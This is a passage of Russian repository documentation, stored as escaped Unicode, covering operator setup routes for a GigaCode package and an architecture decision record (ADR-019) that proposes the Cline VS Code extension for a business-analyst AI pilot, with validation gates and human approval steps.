\u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0432 \u043d\u0435\u0433\u043e \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438 \u0434\u0440\u0443\u0433\u043e\u0433\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u0430. \u041f\u043e\u0441\u043b\u0435 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438 \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u0442\u044c **\u0432\u0435\u0441\u044c** \u043f\u0430\u043a\u0435\u0442, \u0432\u043a\u043b\u044e\u0447\u0430\u044f `.gigacode/skills/`, `AGENTS.md`, `contracts/`, `routes/`, `taxonomy/`, `templates/`, `evaluation/`, `golden/`, `tools/` \u0438 manifest; `meta-model/` \u0438 `docs/kb/` \u043d\u0430\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0442\u043e\u043b\u044c\u043a\u043e \u0440\u0430\u0437\u0440\u0435\u0448\u0451\u043d\u043d\u044b\u043c\u0438 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u043c\u0438 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u0430\u043c\u0438. \u0420\u0435\u0430\u043b\u044c\u043d\u0430\u044f `.gigacode/settings.json`, \u043a\u043b\u044e\u0447\u0438 \u0438 \u0431\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0433\u043e\u043d\u044b \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u0432\u043d\u0435 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0433\u043e Git.\\n\\n\u041c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0439 \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u0441\u043a\u0438\u0439 \u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u0434\u043b\u044f \u0431\u0443\u0434\u0443\u0449\u0435\u0433\u043e guide \u043f\u0430\u043a\u0435\u0442\u0430:\\n\\n1. \u041d\u0430 \u0440\u0430\u0437\u0440\u0435\u0448\u0451\u043d\u043d\u043e\u043c \u0410\u0420\u041c \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c GigaCode CLI \u043f\u043e [\u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u043c\u0443 quick start](https://gitverse.ru/docs/ai/ai-assistant-gigacode/getting-started-with-gigacode/quick-start), Git \u0438 Python 3 \u0441 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u044f\u043c\u0438, \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u043c\u0438 **\u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0435\u0439** \u043f\u0430\u043a\u0435\u0442\u0430; \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u0442\u044c `gigacode --version`, `python3 --version` \u0438 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0441\u0435\u0442\u0438. \u041b\u043e\u043a\u0430\u043b\u044c\u043d\u0430\u044f GPU \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u043f\u0440\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0439 \u043c\u043e\u0434\u0435\u043b\u0438; \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0443 \u041e\u0421 \u0438 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u0443\u044e \u0432\u0435\u0440\u0441\u0438\u044e Python \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u0442\u044c \u043f\u0440\u0438 \u043f\u0438\u043b\u043e\u0442\u0435, \u0430 \u043d\u0435 \u0443\u0433\u0430\u0434\u044b\u0432\u0430\u0442\u044c.\\n2. \u041a\u043b\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u0442\u044c runtime \u0432 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u0437\u0430\u0434\u0430\u0447\u0438, \u0441\u0432\u0435\u0440\u0438\u0442\u044c manifest \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c `sh tools/validate-package.sh`. \u0417\u0430\u043f\u043e\u043b\u043d\u0438\u0442\u044c `meta-model/` \u0438 `docs/kb/` \u0441 \u0443\u0447\u0451\u0442\u043e\u043c \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u0439 \u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u0430.\\n3. \u0421\u043e\u0437\u0434\u0430\u0442\u044c \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u0443\u044e `.gigacode/settings.json` \u0438\u0437 example \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u0441\u043b\u0435 \u0432\u044b\u0434\u0430\u0447\u0438 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u043c \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u043e\u043c \u0430\u0434\u0440\u0435\u0441\u0430, \u0442\u0440\u0430\u043d\u0441\u043f\u043e\u0440\u0442\u0430 \u0438 credentials \u043e\u0434\u043e\u0431\u0440\u0435\u043d\u043d\u043e\u0433\u043e Confluence MCP. \u041f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c `/mcp` \u0438 `/tools`; \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043d\u0435 \u0434\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043f\u0440\u0430\u0432\u043e \u0447\u0442\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u0439 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b.\\n4. \u0412\u044b\u0437\u0432\u0430\u0442\u044c `/skills rg-bcreq-v1-dispatcher` \u0441 `TASK-0001`, \u043f\u0440\u043e\u0439\u0442\u0438 `n0` \u0438 \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u044c \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u0411\u0410. \u041d\u0430 \u043a\u0430\u0436\u0434\u043e\u043c \u0443\u0437\u043b\u0435 \u0432\u0438\u0434\u0435\u0442\u044c \u0444\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u0443 `G-mach`, exit code, \u043f\u0443\u0442\u044c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430 \u0438 checkpoint. \u041f\u0440\u0438 reject \u043e\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f. \u0414\u043b\u044f `n12` \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u044b\u0439 Working, \u0434\u043b\u044f `n13` \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c `validate-working`, `compile`, `validate-release` \u0438 \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c Release \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u043c.\\n\\n## \u0423\u0442\u043e\u0447\u043d\u0435\u043d\u0438\u0435 \u043f\u043e review PR #616 (2026-09-26)\\n\\n\u041e\u0442\u0432\u0435\u0442 \u043d\u0430 [\u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0439 \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/616) \u043f\u043e \u0441\u0440\u0435\u0434\u0435 1.\\n\\n1. **\u041a\u0432\u0430\u043b\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0430:** \u0442\u0435\u043a\u0443\u0449\u0438\u0439 \u043f\u0430\u043a\u0435\u0442 \u2014 **\u0440\u0443\u0447\u043d\u043e\u0439 \u043f\u0438\u043b\u043e\u0442**. \u0414\u043b\u044f \u043e\u043f\u044b\u0442\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u044d\u0442\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u043f\u0440\u0438 \u0443\u0441\u043b\u043e\u0432\u0438\u0438 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u0436\u0443\u0440\u043d\u0430\u043b\u0430 \u0448\u0430\u0433\u043e\u0432 (\u0441\u043c. \u0441\u0445\u0435\u043c\u0443 \u043d\u0438\u0436\u0435); \u0437\u0430\u044f\u0432\u043b\u044f\u0442\u044c \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 end-to-end \u043f\u0440\u043e\u0433\u043e\u043d \u043d\u0435\u043b\u044c\u0437\u044f.\\n=== docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md\\n\\n# ADR-019: Cline \u0432 VS Code \u0434\u043b\u044f \u043f\u0438\u043b\u043e\u0442\u0430 \u0441 Mango AI\\n\\n## Decision Metadata\\n\\n| Field | Value |\\n| --- | --- |\\n| ADR id | ADR-019 |\\n| Decision type | runtime |\\n| Decision status | proposed; \u0432\u044b\u0431\u043e\u0440 \u043a\u043b\u0438\u0435\u043d\u0442\u0430 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442\u0441\u044f \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0435\u043c \u043f\u0440\u0438 review PR |\\n| Decision date | 2026-09-25 (\u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d\u0438\u0435) |\\n| Owner | G-Ivan-A |\\n| Source | [issue #615](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/615) \u0438 [\u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b AI Core](https://github.com/user-attachments/files/32652321/default.txt) |\\n| Impacted artifacts | \u0431\u0443\u0434\u0443\u0449\u0438\u0439 `dist/execution-package-cline-vscode/`, \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 runtime `mango-ba-ai-runtime-cline`; \u043f\u0440\u043e\u0435\u043a\u0442\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0443\u0440 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0441\u0440\u0435\u0434\u044b 4 |\\n| Supersedes | none; \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u0438\u0437\u0438\u0440\u0443\u0435\u0442 [ADR-017](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md) |\\n| Superseded by | none |\\n\\n## Context\\n\\n\u041d\u0443\u0436\u0435\u043d \u043e\u0434\u0438\u043d OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u044b\u0439 \u0430\u0433\u0435\u043d\u0442 \u0434\u043b\u044f \u0411\u0410 \u043e\u0442 junior \u0434\u043e expert \u0441 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u043c\u043e\u0434\u0435\u043b\u044c\u044e AI Core \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u044b\u043c BCREQ. [\u041f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u043d\u0430\u044f \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f AI Core](https://github.com/user-attachments/files/32652321/default.txt) \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 OpenAI-compatible `/chat/completions`, `tool calls`, \u043c\u043e\u0434\u0435\u043b\u044c\u043d\u044b\u0435 ID `gpu-default` \u0438 `gpu-deep`, \u043f\u0435\u0440\u0441\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u0438 HTTP endpoint, \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0439 \u0442\u043e\u043b\u044c\u043a\u043e \u0438\u0437 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0441\u0435\u0442\u0438/VPN. \u041e\u043d\u0430 \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 **API \u043c\u043e\u0434\u0435\u043b\u0438**. \u041e\u043d\u0430 \u043d\u0435 \u0437\u0430\u0434\u0430\u0451\u0442 MCP-\u0441\u0435\u0440\u0432\u0435\u0440\u044b Jira/Confluence, \u0438\u0445 URL, transport, tool names \u0438\u043b\u0438 \u043f\u0440\u0430\u0432\u0430. \u0423\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u00ab\u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u043a Mango AI API \u0441\u0430\u043c\u043e \u0434\u0430\u0451\u0442 \u0434\u043e\u0441\u0442\u0443\u043f \u043a Jira/Confluence\u00bb \u043d\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u043e \u044d\u0442\u0438\u043c \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c.\\n\\n[\u0414\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u044f Cline](https://github.com/cline/cline/blob/main/docs/provider-config/openai-compatible.mdx) \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0439 \u043f\u0443\u0442\u044c \u0447\u0435\u0440\u0435\u0437 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 `OpenAI Compatible`: Base URL, API Key, Model ID, \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u0438 output. [Cline](https://github.com/cline/cline/blob/main/README.md) \u0443\u043c\u0435\u0435\u0442 \u0447\u0438\u0442\u0430\u0442\u044c/\u0438\u0437\u043c\u0435\u043d\u044f\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c shell-\u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0432 VS Code \u0441 \u043f\u043e\u043a\u0430\u0437\u043e\u043c diff \u0438 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435\u043c \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439. [\u0414\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u044f MCP](https://github.com/cline/cline/blob/main/docs/mcp/mcp-overview.mdx) \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 tools. \u041d\u043e [\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u044f \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432](https://github.com/cline/cline/blob/main/docs/tools-reference/all-cline-tools.mdx) \u043f\u0440\u044f\u043c\u043e \u0433\u043e\u0432\u043e\u0440\u0438\u0442: **\u043c\u043e\u0434\u0435\u043b\u044c \u0432\u044b\u0431\u0438\u0440\u0430\u0435\u0442**, \u043a\u0430\u043a\u043e\u0439 tool \u0432\u044b\u0437\u0432\u0430\u0442\u044c. \u0421\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e, \u043d\u0430\u043b\u0438\u0447\u0438\u0435 `bash` \u0438 `tool calls` \u043d\u0435 \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0440\u0443\u0435\u0442 \u0432\u044b\u0437\u043e\u0432 Python-\u0433\u0435\u0439\u0442\u0430 \u043d\u0430 \u043a\u0430\u0436\u0434\u043e\u043c \u0448\u0430\u0433\u0435.\\n\\n## Decision\\n\\n\u0412\u044b\u0431\u0440\u0430\u0442\u044c **Cline \u043a\u0430\u043a \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 VS Code** \u0438 \u0442\u043e\u043b\u044c\u043a\u043e \u0435\u0433\u043e \u0434\u043b\u044f \u0441\u0440\u0435\u0434\u044b 2. \u041e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 runtime \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043d\u0430\u0437\u0432\u0430\u0442\u044c `G-Ivan-A/mango-ba-ai-runtime-cline`; \u043d\u0435 \u0440\u0430\u0437\u043c\u0435\u0449\u0430\u0442\u044c \u0435\u0433\u043e \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438 \u0432 GigaCode-\u043f\u0430\u043a\u0435\u0442\u0435. Source \u043c\u043e\u0434\u0435\u043b\u0438 \u0438 \u043e\u0431\u0449\u0438\u0439 \u043d\u0430\u0431\u043e\u0440 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u0432 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u0432 `projects/ba-ai-process/`; \u0430\u0434\u0430\u043f\u0442\u0435\u0440 Cline \u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u0443\u0435\u0442 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 `dist/execution-package-cline-vscode/` \u0441 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u043c manifest \u0438 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0435\u0439 \u0434\u043b\u044f \u0411\u0410. \u041d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 \u2014 \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u043c\u044b\u0439 \u043f\u0443\u0442\u044c \u0431\u0443\u0434\u0443\u0449\u0435\u0439 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438, \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439 \u044d\u0442\u0438\u043c ADR \u043d\u0435 \u0441\u043e\u0437\u0434\u0430\u0451\u0442\u0441\u044f.\\n\\n\u0414\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0437\u043c \u043a\u0432\u0430\u043b\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u043e \u0443\u0440\u043e\u0432\u043d\u044f\u043c:\\n\\n1. **\u041c\u0430\u0448\u0438\u043d\u043d\u044b\u0439:** \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0439 runner/CI \u0441\u0430\u043c \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440 \u0438 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440, \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 exit code, \u0433\u0440\u0430\u0444 \u0438 \u0441\u043e\u0445\u0440\u0430\u043d\u0451\u043d\u043d\u043e\u0435 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435. \u042d\u0442\u043e\u0442 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b\u043c \u0442\u0435\u0441\u0442\u043e\u043c.\\n2. **\u0410\u0433\u0435\u043d\u0442\u043d\u044b\u0439:** Cline \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u043f\u0440\u0430\u0432\u0438\u043b\u0430, \u0433\u043e\u0442\u043e\u0432\u0438\u0442 \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a, \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u0442 \u0432\u044b\u0437\u043e\u0432\u044b tools \u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f. \u0415\u0433\u043e \u0432\u044b\u0431\u043e\u0440 \u0438 \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u044b\u0439 \u0432\u044b\u0432\u043e\u0434 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u043d\u044b; `AGENTS.md` \u0438 Cline rules \u043f\u043e\u043c\u043e\u0433\u0430\u044e\u0442, \u043d\u043e \u043d\u0435 \u0437\u0430\u043c\u0435\u043d\u044f\u044e\u0442 runner.\\n3. **\u0427\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u0439:** \u0411\u0410 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u0443\u044e \u0430\u0442\u0440\u0438\u0431\u0443\u0446\u0438\u044e, \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438, Working baseline \u0438 Release. \u0421\u0435\u043c\u0430\u043d\u0442\u0438\u043a\u0430 \u0438 \u043f\u0440\u0430\u0432\u0430 \u043d\u0430 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u044e \u043d\u0435 \u0432\u044b\u0434\u0430\u044e\u0442\u0441\u044f \u0438\u0437 Python exit code.\\n\\n\u0412 \u0431\u0443\u0434\u0443\u0449\u0435\u0439 \u043f\u043e\u0441\u0442\u0430\u0432\u043a\u0435 `AGENTS.md` \u2014 \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442; \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u0439 \u0434\u043b\u044f Cline `.clinerules` \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0442\u043e\u043b\u044c\u043a\u043e \u043a\u043e\u0440\u043e\u0442\u043a\u0438\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u044b\u043c \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u0435\u043c \u043d\u0430 \u043d\u0435\u0433\u043e \u0438 \u043d\u0430 \u044f\u0432\u043d\u0443\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u0443 runner. \u041d\u0430\u0432\u044b\u043a\u0438, \u043d\u0443\u0436\u043d\u044b\u0435 \u0434\u043b\u044f Cline, \u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0432 \u043d\u0430\u0442\u0438\u0432\u043d\u044b\u0439 \u0444\u043e\u0440\u043c\u0430\u0442 \u0431\u0435\u0437 \u043a\u043e\u043f\u0438\u0438 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0439 \u043d\u043e\u0440\u043c\u044b. \u041d\u0435 \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u0442\u044c agent edit `tools/`, `contracts/`, `routes/` \u0438\u043b\u0438 manifest \u0432\u043d\u0443\u0442\u0440\u0438 \u0431\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0433\u043e\u043d\u0430: \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0432 \u043d\u0438\u0445 \u043f\u0440\u043e\u0445\u043e\u0434\u044f\u0442 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 Source PR \u0438 recompilation. \u0418\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0441\u044f \u043f\u043e\u0434 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u0411\u0410/CI, \u0430 \u043d\u0435 \u00ab\u0447\u0442\u0435\u043d\u0438\u0435\u043c Python \u043a\u0430\u043a \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430\u00bb. CI \u043e\u0431\u044f\u0437\u0430\u043d \u043e\u0442\u0432\u0435\u0440\u0433\u0430\u0442\u044c \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 \u0431\u0435\u0437 \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0433\u043e \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430 \u0433\u0435\u0439\u0442\u0430.\\n\\n\u041e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u0441\u043a\u0438\u0439 \u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u0434\u043b\u044f guide \u0431\u0443\u0434\u0443\u0449\u0435\u0433\u043e Cline-\u043f\u0430\u043a\u0435\u0442\u0430:\\n\\n1. \u041d\u0430 \u0440\u0430\u0437\u0440\u0435\u0448\u0451\u043d\u043d\u043e\u043c \u0410\u0420\u041c \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c Git, VS Code, \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0435 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 [Cline](https://github.com/cline/cline/blob/main/docs/getting-started/installing-cline.mdx), Python 3 \u0438 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 **\u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439** \u0432\u0435\u0440\u0441\u0438\u0438 \u043f\u0430\u043a\u0435\u0442\u0430. \u0414\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u0435\u043d \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440, \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u044e\u0449\u0438\u0439 VS Code \u0438 Python; \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u0430\u044f GPU \u0434\u043b\u044f \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0439 \u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0435 \u043d\u0443\u0436\u043d\u0430. Junior \u0411\u0410 \u0434\u043e\u043b\u0436\u0435\u043d \u0443\u043c\u0435\u0442\u044c \u043e\u0442\u043a\u0440\u044b\u0442\u044c \u043f\u0430\u043f\u043a\u0443 \u0432 VS Code, \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0433\u043e\u0442\u043e\u0432\u0443\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u0432 \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u043b\u0435 \u0438 \u043f\u0440\u043e\u0447\u0435\u0441\u0442\u044c PASS/FAIL; \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 MCP-\u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u0438 \u0432\u044b\u0434\u0430\u0447\u0430 \u043f\u0440\u0430\u0432 \u2014 \u0437\u0430\u0434\u0430\u0447\u0430 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430.\\n2. \u041f\u043e\u043b\u0443\u0447\u0438\u0442\u044c **\u0441\u0432\u043e\u0439** \u043a\u043b\u044e\u0447 \u0432 AI Core. \u041e\u0442\u043a\u0440\u044b\u0442\u044c Cline Settings \u2192 API Provider `OpenAI Compatible`; \u0443\u043a\u0430\u0437\u0430\u0442\u044c Base URL, \u0432\u044b\u0434\u0430\u043d\u043d\u044b\u0439 AI Core, \u043c\u043e\u0434\u0435\u043b\u044c `gpu-default`, \u043f\u0435\u0440\u0441\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u0439 \u043a\u043b\u044e\u0447, Context Window `114688`, Max Output Tokens `16384`, \u0432\u044b\u043a\u043b\u044e\u0447\u0438\u0442\u044c image 